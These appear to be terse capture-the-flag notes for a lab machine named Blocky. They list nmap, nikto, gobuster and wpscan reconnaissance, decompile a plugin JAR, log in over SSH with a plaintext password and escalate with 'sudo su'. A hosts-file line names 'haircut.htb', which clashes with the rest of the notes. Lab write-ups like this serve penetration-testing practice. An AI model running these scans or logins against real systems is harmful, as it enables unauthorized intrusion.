Blocky

echo “10.129.1.53 haircut.htb” | sudo tee -a /etc/hosts

nmap -A -p- -oA output 10.129.1.53 —min-rate=10000 —script=vuln —script-timeout=15 -v

nmap -sC -sV -O -p- -oA blocky 10.129.1.53

nmap -sU -O -p- -oA blocky-udp 10.129.1.53

nikto -h 10.129.1.53:80

gobuster dir -k -u http://10.129.1.53/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

jar xf BlockyCore.jar cd com/myfirstplugin javap -v BlockyCore.class

wpscan —url http://blocky.htb -e u

ssh notch@10.129.1.53 y password: 8YsqfCTnvxAUeduzjNSXe22

sudo -l sudo su

https://www.exploit-db.com/exploits/44298